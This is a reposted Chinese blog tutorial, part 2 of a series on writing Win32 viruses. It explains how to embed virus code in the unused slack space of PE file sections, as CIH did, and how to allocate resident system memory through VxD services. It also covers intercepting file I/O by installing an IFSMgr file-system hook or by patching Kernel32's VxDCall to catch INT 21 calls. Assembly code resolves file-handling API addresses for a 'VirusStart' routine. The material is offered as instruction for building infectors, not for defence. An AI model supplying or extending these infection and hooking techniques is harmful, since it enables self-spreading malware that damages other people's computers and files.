编写Win32位病毒教程(2) (转)

本文假定你对dos下的病毒和386PM有一定的了解。

1、感染任何一个病毒都需要有寄主,把病毒代码加入寄主程序中

(伴侣病毒除外)。

以下说明如何将病毒代码嵌入PE文件中,有关PE文件的结构请看以前的文章。 PE文件的典型结构: MZ Header DOS STUB CODE PE HEADER OPTIONAL HEADER SECTION TABLE SECTION 1 SECTION 2 ... IMPORT TABLE EXPORT TABLE 和DOS的可执行文件类似,PE的代码映象分为几个SECTION,在文件中会对齐

页边界(4K)。一般来说,文件会加载在400000h开始的空间,而第一个SECTION在401000h处,同时入口地址也是401000h。由高级语言编写的程序,每个SECTIO-N的长度不可能刚好是4K的倍数,因此在SECTION的末尾将会存在一段未用的空间 , 大小可由Section的PHYSICAL SIZE-VIRTUALSIZE得到,在文件中起始位置可由 PHYSICAL OFFSET得到,这段空间可以用来存放病毒代码。此外一般来说, MZ Header+DOS STUD+PE

HEADER+OPTIONAL HEADER+SECTION TABLE不过1K左右, 而SECTION 1由4K开始,空出来的地方足够存放一个设计精良的病毒。CIH就是将 代码存放在这些空闲空间里。

2、分配驻留所需内存

对于驻留形的病毒,分配驻留所需内存是必需的。在DOS下使用由于所有的 应用程序都映射在相同的线性地址空间里,使用一般的内存分配调用就足够了。而在WIN32下,每个应用程序都有自己的线性地址空间,必须使用特殊的函数分配2GB以上的系统地址。典型的如:VXD服务_PageAllocate,和kernel32的 VxDCALL

_PageReserve。_PageAllocate请参看win98ddk中的说明,VxDCall _PageReserve 请参看HPS源码中的注释。

3、截留FILE I/O操作 驻留型的病毒通过截留FILE I/O来激活,可以通过使用VXD服务

IFSMgr_Install-FileSystemAPIHook(如CIH)或截留VxDCall中的DOS Services callback(如HPS)。

在Win32下编写病毒不是一件困难的事。值得注意的有几件事:

一、Win32下的系统功能调用不是通过中断实现,而是由DLL中导出。

(直接使用VxD服务除外)。直接在病毒中得到API入口不是一件容易的事,可以通过以下这个变通的方法。

在同一个版本的Windows下,同一个核心函数的入口总是固定的

(指由Kernel32,gdi32,user32导出的函数)。因此可以用以下的方法得到函数入口:

 

.386p 

.model flat,stdcall 

extrn GetModuleHandleA:proc 

extrn GetProcAddress:proc 

extrn ExitProcess:proc 

.data 

szKernel db 'KERNEL32.DLL',0 

szFindFirst db 'FindFirstFileA',0 

szFindNext db 'FindNextFileA',0 

szFindClose db 'FindClose',0 

szGetCurrentDir db 'GetCurrentDirectoryA',0 

szGetWinDir db 'GetWindowsDirectoryA',0 

szGetSysDir db 'GetSystemDirectoryA',0 

szGetFileAttrib db 'GetFileAttributesA',0 

szSetFileAttrib db 'SetFileAttributesA',0 

szlopen db '_lopen',0 

szlread db '_lread',0 

szlwrite db '_lwrite',0 

szlclose db '_lclose',0 

szllseek db '_llseek',0 

hKernel dd 0 

.code 

;Initialize code 

start: 

push szKernel 

call GetModuleHandleA 

mov hKernel,eax 

push szFindFirst 

push hKernel 

call GetProcAddress 

mov FindFirstFile,eax 



jmp VirusStart 

InitExit: 

push 0 

call ExitProcess 

VirusStart: 

jmp Entry 

HostEntry dd InitExit 

FindFirstFile dd 0 

FindNextFile dd 0 

 

Entry: 

 

end start 

在Intialize Code得到要用的函数入口并将它填入病毒中,在病毒运行时可以直接使用了。

 二:主要是要截留文件I/O操作。

Windows下截留文件I/O操作有几种方法,在病毒中使用的主要有两种。

1、使用VxDCallIFSMgr_InstallFileSystemHook 
 
2、截留Kernel32.dll中导出的第一个函数VxDCall对DOS

INT 21的呼叫(EAX=2A0010)。

VxDCall的代码如下:

mov eax,dword ptr [esp+04] 

pop dword ptr [esp] 

call fword ptr cs:[xxxxxxxx] 

只要将这个地址指向的地址改为自己的过程入口,就捕获了所有的VxDCall。

进入这个过程时:

eax=service number,如果是DOS INT 21将是2A0010

esp[2c]?调用Int 21时eax的值

算漏了个pushad,应该是10h

esp[30] 调用int 21时ecx的值

14h

其他寄存器为调用时所需的值。(段寄存器无用)

以后的就和在DOS下写病毒没什么差别了。

在WINDOWS下写病毒,如何得到API的入口是一件麻烦的事. 可以直接使用的API都在DLL中,而VXDCALL要在RING0时才能使 用,DOS的INT 21服务也不能直接调用. 得到DLL中的API入口有两种方法:

1.加载时得到,建立一个 IMPORT TABLE,在加载时WINDOWS会根据IMPORT TABLE定位API的 入口地址.这是一般应用程序的使用的方法,但不大适合病毒.

2.运行时得到,使用GetModuleHandle和GetProcAddress得到API的入口,但前提时要知道GetModuleHandle和GetProcAddress的 入口地址.:< 这是明显也是不可能的。

posted on 2008-11-28 21:00 HQ 阅读(312) 评论(0)  编辑 收藏 引用 所属分类: WIN32系统

只有注册用户登录后才能发表评论。

导航

统计

常用链接

留言簿(2)

随笔档案(7)

文章分类(14)

相册

搜索

积分与排名

最新评论

阅读排行榜

评论排行榜